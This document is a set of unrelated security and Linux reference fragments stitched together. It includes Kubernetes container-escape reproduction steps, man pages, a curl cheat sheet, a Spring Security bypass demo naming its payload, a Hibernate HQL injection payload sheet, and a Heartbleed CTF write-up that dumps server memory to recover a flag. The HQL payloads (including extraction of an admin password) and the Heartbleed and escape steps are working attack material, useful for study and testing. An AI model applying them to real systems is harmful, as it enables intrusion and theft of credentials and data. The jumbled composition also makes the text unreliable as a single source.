命令可成功看到宿主机下的文件。 ```yaml kubectl --server=https://172.16.214.18:6443 --certificate-authority=./ca.crt --client-certificate=./apiserver-kubelet-client.crt --client-key=./apiserver-kubelet-client.key exec attacker ls /host-escape-door ``` <img width="1000" src="/img/1649994572.png"> 至此,完成了 CVE-2018-1002015 漏洞的复现。 ## 0x03 漏洞修复 该漏洞的修复也比较简单,直接在 API Server 中增加对后端服务器返回值的判断即可。 在新版 k8s 中的 tryUpgrade 函数这里,会判断状态码是否等于 http.StatusSwitchingProtocols,即 101,如果状态码不等于 101,则关闭连接。 <img width="1200" src="/img/1649994587.png"> > 参考资料: > > 《云原生安全-攻防实践与体系构建》 > > https://xz.aliyun.com/t/3542 > > https://zh.wikipedia.org/wiki/WebSocket <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年4月15日" } } </script>
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH CHCON 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 chcon \- 修改文件安全上下文 .SH 概述 \fBchcon\fP [\fI\,选项\/\fP]... \fI\,上下文 文件\/\fP... .br \fBchcon\fP [\fI\,选项\/\fP]... [\fI\,\-u 用户\/\fP] [\fI\,\-r 角色\/\fP] [\fI\,\-l 范围\/\fP] [\fI\,\-t 类型\/\fP] \fI\,文件\/\fP... .br \fBchcon\fP [\fI\,选项\/\fP]... \fI\,\-\-reference=参考文件 文件\/\fP... .SH 描述 .\" Add any additional description here .PP 将每个指定文件的安全上下文变更至指定上下文。使用 \fB\-\-reference\fP 选项时,把指定文件的安全上下文设置为与参考文件相同。 .PP 必选参数对长短选项同时适用。 .TP \fB\-\-dereference\fP 影响每个符号链接的原始引用文件(这是默认行为),而非符号链接本身 .TP \fB\-h\fP, \fB\-\-no\-dereference\fP 只影响符号链接,而非被引用的任何文件 .TP \fB\-u\fP, \fB\-\-user\fP=\fI\,用户\/\fP 设置指定用户的目标安全上下文 .TP \fB\-r\fP, \fB\-\-role\fP=\fI\,角色\/\fP 设置指定角色的目标安全上下文 .TP \fB\-t\fP, \fB\-\-type\fP=\fI\,类型\/\fP 设置指定类型的目标安全上下文 .TP \fB\-l\fP, \fB\-\-range\fP=\fI\,范围\/\fP 设置指定范围的目标安全上下文 .TP \fB\-\-no\-preserve\-root\fP 不特殊对待“/”(默认行为) .TP \fB\-\-preserve\-root\fP 不允许在“/”上递归操作 .TP \fB\-\-reference\fP=\fI\,参考文件\/\fP 使用指定参考文件的安全上下文,而非指定的上下文值 .TP \fB\-R\fP, \fB\-\-recursive\fP 递归操作文件和目录 .TP \fB\-v\fP, \fB\-\-verbose\fP 为每个处理的文件输出诊断信息 .PP 以下选项是在指定了 \fB\-R\fP 选项时被用于设置如何遍历目录结构体系。如果您指定了多于一个选项,那么只有最后一个会生效。 .TP \fB\-H\fP 如果命令行参数是一个指向目录的符号链接,则对其进行遍历 .TP \fB\-L\fP 遍历每一个遇到的指向目录的符号链接 .TP \fB\-P\fP 不遍历任何符号链接(默认) .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .SH 作者 由 Russell Coker 和 Jim Meyering 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. .SH 参见 完整文档请见: <https://www.gnu.org/software/coreutils/chcon> .br 或者在本地使用: info \(aq(coreutils) chcon invocation\(aq
sec-knowleage
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>CVE-2022-22978</title> </head> <body> CVE-2022-22978 Demo via Spring security 5.6.3<br/> Admin page: <a href="/admin/index">/admin/</a><br/> Payload: /admin/index%0a </body> </html>
sec-knowleage
# 31. 栈的压入、弹出序列 ## 题目链接 [牛客网](https://www.nowcoder.com/practice/d77d11405cc7470d82554cb392585106?tpId=13&tqId=11174&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 输入两个整数序列,第一个序列表示栈的压入顺序,请判断第二个序列是否为该栈的弹出顺序。假设压入栈的所有数字均不相等。 例如序列 1,2,3,4,5 是某栈的压入顺序,序列 4,5,3,2,1 是该压栈序列对应的一个弹出序列,但 4,3,5,1,2 就不可能是该压栈序列的弹出序列。 ## 解题思路 使用一个栈来模拟压入弹出操作。每次入栈一个元素后,都要判断一下栈顶元素是不是当前出栈序列 popSequence 的第一个元素,如果是的话则执行出栈操作并将 popSequence 往后移一位,继续进行判断。 ```java public boolean IsPopOrder(int[] pushSequence, int[] popSequence) { int n = pushSequence.length; Stack<Integer> stack = new Stack<>(); for (int pushIndex = 0, popIndex = 0; pushIndex < n; pushIndex++) { stack.push(pushSequence[pushIndex]); while (popIndex < n && !stack.isEmpty() && stack.peek() == popSequence[popIndex]) { stack.pop(); popIndex++; } } return stack.isEmpty(); } ```
sec-knowleage
updatedb === 创建或更新slocate命令所必需的数据库文件 ## 补充说明 **updatedb命令** 用来创建或更新slocate命令所必需的数据库文件。updatedb命令的执行过程较长,因为在执行时它会遍历整个系统的目录树,并将所有的文件信息写入slocate数据库文件中。 补充说明:slocate本身具有一个数据库,里面存放了系统中文件与目录的相关信息。 ### 语法 ```shell updatedb(选项) ``` ### 选项 ```shell -o<文件>:忽略默认的数据库文件,使用指定的slocate数据库文件; -U<目录>:更新指定目录的slocate数据库; -v:显示执行的详细过程。 ``` ### 实例 实用updatedb命令的`-U`选项可以指定要更新slocate数据库的目录。 ```shell updatedb -U /usr/local/ 更新指定命令的slocate数据库 ```
sec-knowleage
package org.vulhub.shirodemo; import org.apache.shiro.SecurityUtils; import org.apache.shiro.authc.AuthenticationException; import org.apache.shiro.authc.UsernamePasswordToken; import org.apache.shiro.subject.Subject; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.*; @Controller public class UserController { @PostMapping("/doLogin") public String doLoginPage(@RequestParam("username") String username, @RequestParam("password") String password, @RequestParam(name="rememberme", defaultValue = "") String rememberMe) { Subject subject = SecurityUtils.getSubject(); try { subject.login(new UsernamePasswordToken(username, password, rememberMe.equals("remember-me"))); } catch (AuthenticationException e) { return "forward:/login"; } return "forward:/"; } @RequestMapping("/") public String helloPage() { return "hello"; } @RequestMapping("/unauth") public String errorPage() { return "error"; } @RequestMapping("/login") public String loginPage() { return "login"; } }
sec-knowleage
.\" 版权所有 The USENET Community Trust, 1988-1995. .\" 中文版版权所有 Liu JingSong, www.linuxforum.net 2000 .\" 本文档可在遵照LDP GENERAL PUBLIC LICENSE,Version 1, September 1998 .\" 中描述的条件下进行复制,且该文件发布时必须包含该文档. .TH LISTALIAS 1 "Elm Version 2.5" "USENET Community Trust" .SH NAME listalias \- 列出用户和系统别名 .SH 总揽 .B listalias [ -s | -u ] [ 正则表达式] .SH 描述 .I Listalias 按用户及系统别名每个输出一行。每行具有下列格式: .nf <别名> <地址> (<注解>) .fi 如果采用了正则表达式选项,则只有与指定表达式匹配的别名才被列出, 如果未采用正则表达式,所有别名将被列出。 .sp 在两种方式下,命令的输出都被排序。 .SH 选项 .TP .B \-s 只输出系统别名。 .BR \ \-s \ 和 \ \-u 两个选项为互斥关系,即两个选项只能选一个。 .TP .B \-u 只输出用户别名 .BR \ \-s \ 和 \ \-u 两个选项为互斥关系。 .SH 作者 Elm 开发小组 .SH 参见 checkalias(1L), elm(1L), elmalias(1L), newalias(1L) .SH 缺陷 由于该程序通过管道调用了另一个程序egrep, 因此表达式的检查结果由egrep决定,而非这个程序自己决定! .SH 程序错误报告至 Bill Pemberton flash@virginia.edu .SH "[中文版维护人]" .B Liu JingSong <js-liu@263.net> .SH "[中文版最新更新]" .B 2001/05/02 .SH "[中国 Linux 论坛 man 手册页翻译计划]" .BI http://cmpp.linuxforum.net
sec-knowleage
#CURL# ---- ##GENERAL## ``` curl http://curl.haxx.se curl http://site.{one,two,three}.com curl ftp://ftp.numericals.com/file[1-100].txt curl ftp://ftp.numericals.com/file[001-100].txt curl ftp://ftp.letters.com/file[a-z].txt curl http://any.org/archive[1996-1999]/vol[1-4]/part{a,b,c}.html curl http://www.numericals.com/file[1-100:10].txt curl http://www.letters.com/file[a-z:2].txt curl -o index.html http://curl.haxx.se/ curl http://curl.haxx.se/ > index.html curl -# http://curl.haxx.se/ > index.html curl -0 http://curl.haxx.se/ curl --http1.1 http://curl.haxx.se/ curl --http2 http://curl.haxx.se/ curl -1 http://curl.haxx.se/ curl --tlsv1 http://curl.haxx.se/ curl -2 http://curl.haxx.se/ curl --sslv2 http://curl.haxx.se/ curl -3 http://curl.haxx.se/ curl --sslv3 http://curl.haxx.se/ curl -4 http://curl.haxx.se/ curl --ipv4 http://curl.haxx.se/ curl -6 http://curl.haxx.se/ curl --ipv6 http://curl.haxx.se/ curl -A "wget/1.0" http://curl.haxx.se/ curl --user-agent "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" [URL] curl --user-agent "Mozilla/4.73 [en] (X11; U; Linux 2.2.15 i686)" [URL] curl -b "phpsession=Testtest" http://demo.com/ curl --cookie "name=Daniel" http://curl.haxx.se curl -c cookies.txt http://curl.haxx.se/ curl --cookie-jar cookies.txt http://curl.haxx.se curl -d "username=admin&password=pass" http://curl.haxx.se/ curl --data "birthyear=1905&press=%20OK%20" http://curl.haxx.se/when.cgi curl --data-urlencode "name=I am Daniel" http://curl.haxx.se curl --data "<xml>" --header "Content-Type: text/xml" --request PROPFIND url.com curl -e "http://referer" http://demo.com/ curl --referer http://curl.haxx.see http://curl.haxx.se curl --header "Host:" http://curl.haxx.se curl --header "Destination: http://nowhere" http://curl.haxx.se curl -D - http://curl.haxx.se/ curl --dump-header headers_and_cookies http://curl.haxx.se curl -L http://github.com/ curl --location http://curl.haxx.se curl --dns-servers 8.8.8.8 http://demo.com/ curl --trace-ascii debugdump.txt http://curl.haxx.se/ curl --form upload=@localfilename --form press=OK [URL] curl --upload-file uploadfile http://curl.haxx.se/receive.cgi curl --user name:password http://curl.haxx.se curl --proxy-user proxyuser:proxypassword curl.haxx.se curl --cert mycert.pem https://secure.example.com ``` ---- #REFERENCES# $ man curl http://curl.haxx.se/docs/manual.html http://curl.haxx.se/docs/httpscripting.html http://httpkit.com/resources/HTTP-from-the-Command-Line/
sec-knowleage
# 常用的元素 ### 块元素(block element) address - 地址 blockquote - 块引用 center - 举中对齐块 dir - 目录列表 div - 常用块级容易,也是css layout的主要标签 dl - 定义列表 fieldset - form控制组 form - 交互表单 h1 - 大标题 h2 - 副标题 h3 - 3级标题 h4 - 4级标题 h5 - 5级标题 h6 - 6级标题 hr - 水平分隔线 isindex - input prompt menu - 菜单列表 noframes - frames可选内容,(对于不支持frame的浏览器显示此区块内容 noscript - 可选脚本内容(对于不支持script的浏览器显示此内容) ol - 排序表单 p - 段落 pre - 格式化文本 table - 表格 ul - 非排序列表
sec-knowleage
zfore === 强制为gzip格式的压缩文件添加.gz后缀 ## 补充说明 **zfore命令** 强制为gzip格式的压缩文件添加“.gz”后缀。 ### 语法 ```shell zfore(参数) ``` ### 参数 文件列表:指定要添加“.gz”后缀的gzip压缩文件。
sec-knowleage
# Hibernate Query Language Injection > Hibernate ORM (Hibernate in short) is an object-relational mapping tool for the Java programming language. It provides a framework for mapping an object-oriented domain model to a relational database. - Wikipedia ## Summary * [HQL Comments](#hql-comments) * [HQL List Columns](#hql-list-columns) * [HQL Error Based](#hql-error-based) * [Single Quote Escaping](#single-quote-escaping) * [$-quoted strings](#--quoted-strings) * [DBMS Magic functions](#dbms-magic-functions) * [Unicode](#unicode) * [Java constants](#java-constants) * [Methods by DBMS](#methods-by-dbms) * [References](#references) :warning: Your input will always be between the percentage symbols: `%INJECT_HERE%` ## HQL Comments ```sql HQL does not support comments ``` ## HQL List Columns ```sql from BlogPosts where title like '%' and DOESNT_EXIST=1 and ''='%' -- and published = true ``` Using an unexisting column will an exception leaking several columns names. ```sql org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement: select blogposts0_.id as id21_, blogposts0_.author as author21_, blogposts0_.promoCode as promo3_21_, blogposts0_.title as title21_, blogposts0_.published as published21_ from BlogPosts blogposts0_ where blogposts0_.title like '%' or DOESNT_EXIST='%' and blogposts0_.published=1 [42122-159] ``` ## HQL Error Based ```sql from BlogPosts where title like '%11' and (select password from User where username='admin')=1 or ''='%' and published = true ``` Error based on value casting. ```sql Data conversion error converting "d41d8cd98f00b204e9800998ecf8427e"; SQL statement: select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.promotionCode as promotio3_18_, blogposts0_.title as title18_, blogposts0_.visible as visible18_ from BlogPosts blogposts0_ where blogposts0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and blogposts0_.published=1 ``` :warning: **HQL does not support UNION queries** ## Single Quote Escaping Method works for MySQL DBMS which escapes SINGLE QUOTES in strings with SLASH `\'`. In HQL SINGLE QUOTES is escaped in strings by doubling `''`. ``` 'abc\''or 1=(select 1)--' ``` In HQL it is a string, in MySQL it is a string and additional SQL expression. ## $-quoted strings Method works for DBMS which allow DOLLAR-QUOTED strings in SQL expressions: PostgreSQL, H2. Hibernate ORM allows identifiers starting with `$$`. ``` $$='$$=concat(chr(61),chr(39)) and 1=1--' ``` ## DBMS Magic functions Method works for DBMS which have MAGIC FUNCTIONS which evaluate SQL expression in string parameter: PostgreSQL, Oracle. Hibernate allows to specify any function name in HQL expression. PostgreSQL has built-in function `query_to_xml('Arbitrary SQL')`. ``` array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1) ``` Oracle has built-in function `DBMS_XMLGEN.getxml('SQL')` ``` NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1' ``` ## Unicode Method works for DBMS which allow UNICODE delimiters (Ex. U+00A0) between SQL tokens: Microsoft SQL Server, H2. In Microsoft SQL SERVER `SELECT LEN([U+00A0](select[U+00A0](1))` works the same as `SELECT LEN((SELECT(1)))`; HQL allows UNICODE symbols in identifiers (function or parameter names). ``` SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1<LEN( (select top 1 name from users)) or '1'='11' ``` ## Java constants Method works for most DBMS (does not work for MySQL). Hibernate resolves Java public static fields (Java constants) in HQL queries: - Class with Java constant must be in classpath - Ex. `java.lang.Character.SIZE` is resolved to 16 - String or char constants are additionally surrounded by single quotes To use JAVA CONSTANTS method we need special char or string fields declared in classes or interfaces on classpath. ```java public class Constants { public static final String S_QUOTE = "'"; public static final String HQL_PART = "select * from Post where name = '"; public static final char C_QUOTE_1 = '\''; public static final char C_QUOTE_2 = '\047'; public static final char C_QUOTE_3 = 39; public static final char C_QUOTE_4 = 0x27; public static final char C_QUOTE_5 = 047; } ``` Some usable constants in well-known Java libraries: ```ps1 org.apache.batik.util.XMLConstants.XML_CHAR_APOS [ Apache Batik ] com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE [ ICU4J ] jodd.util.StringPool.SINGLE_QUOTE [ Jodd ] ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR [ Logback ] cz.vutbr.web.csskit.OutputUtil.STRING_OPENING [ jStyleParser ] com.sun.java.help.impl.DocPConst.QUOTE [ JavaHelp ] org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE [ EclipseHelp ] ``` ``` dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1 ``` ## Methods by DBMS ## References * [HQL for pentesters - February 12, 2014 - Philippe Arteau](https://blog.h3xstream.com/2014/02/hql-for-pentesters.html) * [How to put a comment into HQL (Hibernate Query Language)? - Thomas Bratt](https://stackoverflow.com/questions/3196975/how-to-put-a-comment-into-hql-hibernate-query-language) * [HQL : Hyperinsane Query Language - 04/06/2015 - Renaud Dubourguais](https://www.synacktiv.com/ressources/hql2sql_sstic_2015_en.pdf) * [ORM2Pwn: Exploiting injections in Hibernate ORM - Nov 26, 2015 - Mikhail Egorov](https://www.slideshare.net/0ang3el/orm2pwn-exploiting-injections-in-hibernate-orm) * [New Methods for Exploiting ORM Injections in Java Applications - HITBSecConf2016 - Mikhail Egorov - Sergey Soldatov](https://conference.hitb.org/hitbsecconf2016ams/materials/D2T2%20-%20Mikhail%20Egorov%20and%20Sergey%20Soldatov%20-%20New%20Methods%20for%20Exploiting%20ORM%20Injections%20in%20Java%20Applications.pdf) * [HQL Injection Exploitation in MySQL - July 18, 2019 - Olga Barinova](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hql-injection-exploitation-in-mysql/)
sec-knowleage
# Vampires * Category: Web * 100 Points * Solved by the JCTF Team ## Description > I have never met a vampire, I don't know what might happen tomorrow. "The strength of the vampire is that people will not believe in him". There's no set-in-stone way to be a vampire, especially with the evil ones. > > URL: https://vampires.ctf.bsidestlv.com:8001/ > > Bruteforce is not the answer! ## Solution We visit the attached site and see: ```console root@kali:/media/sf_CTFs/bsidestlv/Vampires# curl -v https://vampires.ctf.bsidestlv.com:8001/ * Trying 18.157.75.151... * TCP_NODELAY set * Expire in 200 ms for 4 (transfer 0x55a0876380c0) * Connected to vampires.ctf.bsidestlv.com (18.157.75.151) port 8001 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * successfully set certificate verify locations: * CAfile: none CApath: /etc/ssl/certs * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (OUT), TLS alert, unknown CA (560): * SSL certificate problem: self signed certificate * Closing connection 0 curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.haxx.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above. ``` This is a website served over TLS with an untrusted, self-signed certificate. We can bypass the certificate validation and check the website by adding `-k`: ```console root@kali:/media/sf_CTFs/bsidestlv/Vampires# curl -k https://vampires.ctf.bsidestlv.com:8001/ <!DOCTYPE html> <html> <head> <title>Vempire login page</title> <link rel="stylesheet" type="text/css" href="./style.css"> </head> <body> <div class="container"> <div class="error"> <p class="p">L</p> <span class="dracula"> <div class="con"> <div class="hair"></div> <div class="hair-r"></div> <div class="head"></div> <div class="eye"></div> <div class="eye eye-r"></div> <div class="mouth"></div> <div class="blod"></div> <div class="blod blod2"></div> </div> </span> <p class="p">gin</p> <div class="page-ms"> <form method='post' id='form'> <input class="login" type="text" name="username" placeholder="Username" /> <input class="login" type="password" name="password" placeholder="Password" /> <p class="page-msg">Vampires drink blood to survive.</p> <button class="login-button" onclick='javascript:document.getElementById("form").submit()'>Login</button> </form> </div> </div> </div> </body> </html> ``` We have a simple website with a login form. If the challenge name and theme aren't a thick enough clue, we can scan the website for vulnerabilities using `sslscan`: ```console root@kali:/media/sf_CTFs/bsidestlv/Vampires# sslscan vampires.ctf.bsidestlv.com:8001 Version: 2.0.0-static OpenSSL 1.1.1h-dev xx XXX xxxx Connected to 18.157.75.151 Testing SSL server vampires.ctf.bsidestlv.com on port 8001 using SNI name vampires.ctf.bsidestlv.com SSL/TLS Protocols: SSLv2 disabled SSLv3 disabled TLSv1.0 enabled TLSv1.1 enabled TLSv1.2 enabled TLSv1.3 disabled TLS Fallback SCSV: Server does not support TLS Fallback SCSV TLS renegotiation: Secure session renegotiation supported TLS Compression: Compression disabled Heartbleed: TLSv1.2 vulnerable to heartbleed TLSv1.1 not vulnerable to heartbleed TLSv1.0 not vulnerable to heartbleed Supported Server Cipher(s): Preferred TLSv1.2 256 bits ECDHE-RSA-AES256-GCM-SHA384 Curve P-256 DHE 256 Accepted TLSv1.2 256 bits DHE-RSA-AES256-GCM-SHA384 DHE 2048 bits Accepted TLSv1.2 128 bits ECDHE-RSA-AES128-GCM-SHA256 Curve P-256 DHE 256 Accepted TLSv1.2 128 bits DHE-RSA-AES128-GCM-SHA256 DHE 2048 bits Accepted TLSv1.2 256 bits ECDHE-RSA-AES256-SHA384 Curve P-256 DHE 256 Accepted TLSv1.2 256 bits DHE-RSA-AES256-SHA256 DHE 2048 bits Accepted TLSv1.2 128 bits ECDHE-RSA-AES128-SHA256 Curve P-256 DHE 256 Accepted TLSv1.2 128 bits DHE-RSA-AES128-SHA256 DHE 2048 bits Accepted TLSv1.2 256 bits ECDHE-RSA-AES256-SHA Curve P-256 DHE 256 Accepted TLSv1.2 256 bits DHE-RSA-AES256-SHA DHE 2048 bits Accepted TLSv1.2 256 bits DHE-RSA-CAMELLIA256-SHA DHE 2048 bits Accepted TLSv1.2 128 bits ECDHE-RSA-AES128-SHA Curve P-256 DHE 256 Accepted TLSv1.2 128 bits DHE-RSA-AES128-SHA DHE 2048 bits Accepted TLSv1.2 128 bits DHE-RSA-CAMELLIA128-SHA DHE 2048 bits Accepted TLSv1.2 112 bits ECDHE-RSA-DES-CBC3-SHA Curve P-256 DHE 256 Accepted TLSv1.2 112 bits DHE-RSA-DES-CBC3-SHA DHE 2048 bits Accepted TLSv1.2 256 bits AES256-GCM-SHA384 Accepted TLSv1.2 128 bits AES128-GCM-SHA256 Accepted TLSv1.2 256 bits AES256-SHA256 Accepted TLSv1.2 128 bits AES128-SHA256 Accepted TLSv1.2 256 bits AES256-SHA Accepted TLSv1.2 256 bits CAMELLIA256-SHA Accepted TLSv1.2 128 bits AES128-SHA Accepted TLSv1.2 128 bits CAMELLIA128-SHA Accepted TLSv1.2 112 bits DES-CBC3-SHA Preferred TLSv1.1 256 bits ECDHE-RSA-AES256-SHA Curve P-256 DHE 256 Accepted TLSv1.1 256 bits DHE-RSA-AES256-SHA DHE 2048 bits Accepted TLSv1.1 256 bits DHE-RSA-CAMELLIA256-SHA DHE 2048 bits Accepted TLSv1.1 128 bits ECDHE-RSA-AES128-SHA Curve P-256 DHE 256 Accepted TLSv1.1 128 bits DHE-RSA-AES128-SHA DHE 2048 bits Accepted TLSv1.1 128 bits DHE-RSA-CAMELLIA128-SHA DHE 2048 bits Accepted TLSv1.1 112 bits ECDHE-RSA-DES-CBC3-SHA Curve P-256 DHE 256 Accepted TLSv1.1 112 bits DHE-RSA-DES-CBC3-SHA DHE 2048 bits Accepted TLSv1.1 256 bits AES256-SHA Accepted TLSv1.1 256 bits CAMELLIA256-SHA Accepted TLSv1.1 128 bits AES128-SHA Accepted TLSv1.1 128 bits CAMELLIA128-SHA Accepted TLSv1.1 112 bits DES-CBC3-SHA Preferred TLSv1.0 256 bits ECDHE-RSA-AES256-SHA Curve P-256 DHE 256 Accepted TLSv1.0 256 bits DHE-RSA-AES256-SHA DHE 2048 bits Accepted TLSv1.0 256 bits DHE-RSA-CAMELLIA256-SHA DHE 2048 bits Accepted TLSv1.0 128 bits ECDHE-RSA-AES128-SHA Curve P-256 DHE 256 Accepted TLSv1.0 128 bits DHE-RSA-AES128-SHA DHE 2048 bits Accepted TLSv1.0 128 bits DHE-RSA-CAMELLIA128-SHA DHE 2048 bits Accepted TLSv1.0 112 bits ECDHE-RSA-DES-CBC3-SHA Curve P-256 DHE 256 Accepted TLSv1.0 112 bits DHE-RSA-DES-CBC3-SHA DHE 2048 bits Accepted TLSv1.0 256 bits AES256-SHA Accepted TLSv1.0 256 bits CAMELLIA256-SHA Accepted TLSv1.0 128 bits AES128-SHA Accepted TLSv1.0 128 bits CAMELLIA128-SHA Accepted TLSv1.0 112 bits DES-CBC3-SHA Server Key Exchange Group(s): TLSv1.2 128 bits secp256r1 (NIST P-256) Server Signature Algorithm(s): TLSv1.2 Server accepts all signature algorithms. SSL Certificate: Signature Algorithm: sha256WithRSAEncryption RSA Key Strength: 2048 Subject: vempires.ctf20.bsidestlv.com Issuer: vempires.ctf20.bsidestlv.com Not valid before: Jun 14 16:01:40 2020 GMT Not valid after: Jun 14 16:01:40 2021 GMT ``` We see that "TLSv1.2 vulnerable to heartbleed". Let's grab a [PoC script](https://github.com/offensive-security/exploitdb/blob/master/exploits/multiple/remote/32745.py) and try it: ```console root@kali:/media/sf_CTFs/bsidestlv/Vampires# python 32745.py vempires.ctf.bsidestlv.com -p 8001 Connecting... Sending Client Hello... Waiting for Server Hello... ... received message: type = 22, ver = 0302, length = 66 ... received message: type = 22, ver = 0302, length = 1017 ... received message: type = 22, ver = 0302, length = 331 ... received message: type = 22, ver = 0302, length = 4 Sending heartbeat request... ... received message: type = 24, ver = 0302, length = 16384 Received heartbeat response: 0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C .@....SC[...r... 0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9....... 0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....". 0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5. 0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................ 0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ............3.2. 0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ....E.D...../... 0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A............... 0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................ 0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4. 00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2............... 00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ................ 00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................ 00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 73 77 6F 72 ....#.......swor 00e0: 64 3D 42 53 69 64 65 73 54 4C 56 32 30 32 30 7B d=BSidesTLV2020{ 00f0: 42 6C 30 30 64 5F 42 6C 30 30 64 5F 42 6C 30 30 Bl00d_Bl00d_Bl00 0100: 64 21 21 21 7D 03 37 60 1A DB 09 7A A0 B1 23 F5 d!!!}.7`...z..#. 0110: 95 0E D3 91 6F 67 71 81 0A 0F BA 55 D3 56 5C 8D ....ogq....U.V\. 0120: 1C 85 BD 37 4A D5 9D 04 D6 8D BA C8 1B 76 C4 0D ...7J........v.. 0130: 55 10 33 F0 6E 1D 49 3F CC DE 3A C0 9F 6B CD D0 U.3.n.I?..:..k.. 0140: FE 8A 57 79 44 AF F4 F0 B8 1E 07 43 21 F7 D9 5F ..WyD......C!.._ 0150: 1D 8D AF 55 EA 62 C3 26 60 3B D6 99 58 6C E9 69 ...U.b.&`;..Xl.i 0160: B0 9B 33 6C A1 C6 F7 9B 46 57 96 B3 1C C4 4F 13 ..3l....FW....O. 0170: 18 5B FA 13 3F 0D DF 3E D7 75 19 0F 09 ED E6 CF .[..?..>.u...... 0180: 76 0A D7 04 A6 33 2C 08 B3 24 10 F4 6B 65 4C 46 v....3,..$..keLF 0190: B9 6E F6 9E 11 9B 35 F8 31 E9 81 2E 52 D9 D8 FF .n....5.1...R... 01a0: FD 24 36 30 AA B8 9F 73 1A 9C EC 61 E8 40 DA 11 .$60...s...a.@.. 01b0: 00 16 00 00 00 17 00 00 00 0D 00 30 00 2E 04 03 ...........0.... 01c0: 05 03 06 03 08 07 08 08 08 09 08 0A 08 0B 08 04 ................ 01d0: 08 05 08 06 04 01 05 01 06 01 03 03 02 03 03 01 ................ 01e0: 02 01 03 02 02 02 04 02 05 02 06 02 00 2B 00 05 .............+.. 01f0: 04 03 04 03 03 00 2D 00 02 01 01 00 33 00 26 00 ......-.....3.&. 0200: 24 00 1D 00 20 6C C4 9E 30 63 66 8A 72 C1 D1 0C $... l..0cf.r... 0210: 75 93 CB 04 84 78 F7 79 93 E1 1F 95 C9 6B B8 B8 u....x.y.....k.. 0220: 53 BC 1F D1 52 FF 61 FF 62 FF 63 FF 64 FF 65 FF S...R.a.b.c.d.e. 0230: 66 FF 67 FF 68 FF 69 FF 6A FF 6B FF 6C FF 6D FF f.g.h.i.j.k.l.m. 0240: 6E FF 6F FF 70 FF 71 FF 72 FF 73 FF 74 FF 75 FF n.o.p.q.r.s.t.u. 0250: 76 FF 77 FF 78 FF 79 FF 7A FF 7B FF 7C FF 7D FF v.w.x.y.z.{.|.}. 0260: 7E FF 7F FF 80 FF 81 FF 82 FF 83 FF 84 FF 85 FF ~............... 0270: 86 FF 87 FF 88 FF 89 FF 8A FF 8B FF 8C FF 8D FF ................ ... 3f20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 3f30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 3f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 3f50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 3f60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 3f70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 3f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 3f90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 3fa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 3fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 3fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 3fd0: 00 00 00 00 00 00 00 